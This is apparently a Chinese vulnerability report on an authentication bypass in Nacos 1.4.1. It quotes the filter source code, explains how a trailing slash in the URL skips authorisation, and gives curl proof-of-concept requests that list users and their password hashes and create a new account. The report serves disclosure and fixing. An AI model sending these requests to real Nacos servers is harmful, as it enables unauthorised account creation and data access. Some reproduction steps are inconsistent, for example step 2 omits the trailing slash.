Nacos驚現安全漏洞修復後問題仍舊存在

你好,我發現nacos最新版本1.4.1對於User-Agent繞過安全漏洞的serverIdentity key-value修復機制,依然存在繞過問題,在nacos開啓了serverIdentity的自定義key-value鑑權後,通過特殊的url構造,依然能繞過限制訪問任何http接口。

通過查看該功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server繞過鑑權的安全問題。

但在開啓該機制後,我從代碼中發現,任然可以在某種情況下繞過,使之失效,調用任何接口,通過該漏洞,我可以繞過鑑權,做到:

調用添加用戶接口,添加新用戶(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然後使用新添加的用戶登錄console,訪問、修改、添加數據。

一、漏洞詳情

問題主要出現在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {
    
    @Autowired
    private AuthConfigs authConfigs;
    
    @Autowired
    private AuthManager authManager;
    
    @Autowired
    private ControllerMethodsCache methodsCache;
    
    private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        if (authConfigs.isEnableUserAgentAuthWhite()) {
            String userAgent = WebUtils.getUserAgent(req);
            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
                chain.doFilter(request, response);
                return;
            }
        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
                .isNotBlank(authConfigs.getServerIdentityValue())) {
            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
                chain.doFilter(request, response);
                return;
            }
            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
                    req.getRemoteHost());
        } else {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN,
                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
            return;
        }
        
        try {
            
            Method method = methodsCache.getMethod(req);
            
            if (method == null) {
                chain.doFilter(request, response);
                return;
            }
            
            ...鑑權代碼
            
        }
        ...
    }
    ...
}

可以看到,上面三個if else分支:

  • 第一個是authConfigs.isEnableUserAgentAuthWhite(),它默認值爲true,當值爲true時,會判斷請求頭User-Agent是否匹配User-Agent: Nacos-Server,若匹配,則跳過後續所有邏輯,執行chain.doFilter(request, response);

  • 第二個是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本對於User-Agent: Nacos-Server安全問題的簡單修復

  • 第三個是,當前面兩個條件都不符合時,對請求直接作出拒絕訪問的響應

問題出現在第二個分支,可以看到,當nacos的開發者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,開啓該key-value簡單鑑權機制後,會根據開發者配置的nacos.core.auth.server.identity.key去http header中獲取一個value,去跟開發者配置的nacos.core.auth.server.identity.value進行匹配,若不匹配,則不進入分支執行:

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
    chain.doFilter(request, response);
    return;
}

但問題恰恰就出在這裏,這裏的邏輯理應是在不匹配時,直接返回拒絕訪問,而實際上並沒有這樣做,這就讓我們後續去繞過提供了條件。

再往下看,代碼來到:

Method method = methodsCache.getMethod(req);
            
if (method == null) {
    chain.doFilter(request, response);
    return;
}

...鑑權代碼

可以看到,這裏有一個判斷method == null,只要滿足這個條件,就不會走到後續的鑑權代碼。

通過查看methodsCache.getMethod(req)代碼實現,我發現了一個方法,可以使之返回的method爲null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {
    String path = getPath(request);
    if (path == null) {
        return null;
    }
    String httpMethod = request.getMethod();
    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
    List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
    if (CollectionUtils.isEmpty(requestMappingInfos)) {
        return null;
    }
    List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
    if (CollectionUtils.isEmpty(matchedInfo)) {
        return null;
    }
    RequestMappingInfo bestMatch = matchedInfo.get(0);
    if (matchedInfo.size() > 1) {
        RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
        matchedInfo.sort(comparator);
        bestMatch = matchedInfo.get(0);
        RequestMappingInfo secondBestMatch = matchedInfo.get(1);
        if (comparator.compare(bestMatch, secondBestMatch) == 0) {
            throw new IllegalStateException(
                    "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
                            + secondBestMatch + "}");
        }
    }
    return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
    String path = null;
    try {
        path = new URI(request.getRequestURI()).getPath();
    } catch (URISyntaxException e) {
        LOGGER.error("parse request to path error", e);
    }
    return path;
}

這個代碼裏面,可以很明確的看到,method值的返回,取決於

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

urlKey這個key,是否能從urlLookup這個ConcurrentHashMap中獲取到映射值

而urlKey的組成中,存在着path這一部分,而這一部分的生成,恰恰存在着問題,它是通過如下方式獲得的:

new URI(request.getRequestURI()).getPath()

一個正常的訪問,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path將會是/nacos/v1/auth/users,而通過特殊構造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path將會是/nacos/v1/auth/users/

通過該方式,將能控制該path多一個末尾的斜杆'/',導致從urlLookup這個ConcurrentHashMap中獲取不到method,爲什麼呢,因爲nacos基本全部的RequestMapping都沒有以斜杆'/'結尾,只有非斜杆'/'結尾的RequestMapping存在並存入了urlLookup這個ConcurrentHashMap,那麼,最外層的method == null條件將能滿足,從而,繞過該鑑權機制。

二、漏洞影響範圍

影響範圍:
1.4.1

三、漏洞復現

1.訪問用戶列表接口

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到,繞過了鑑權,返回了用戶列表數據

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

 

  2.添加新用戶

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到,繞過了鑑權,添加了新用戶

{
    "code":200,
    "message":"create user ok!",
    "data":null
}

3.再次查看用戶列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到,返回的用戶列表數據中,多了一個我們通過繞過鑑權創建的新用戶

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}

4. 訪問首頁http://127.0.0.1:8848/nacos/,登錄新賬號,可以做任何事情

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章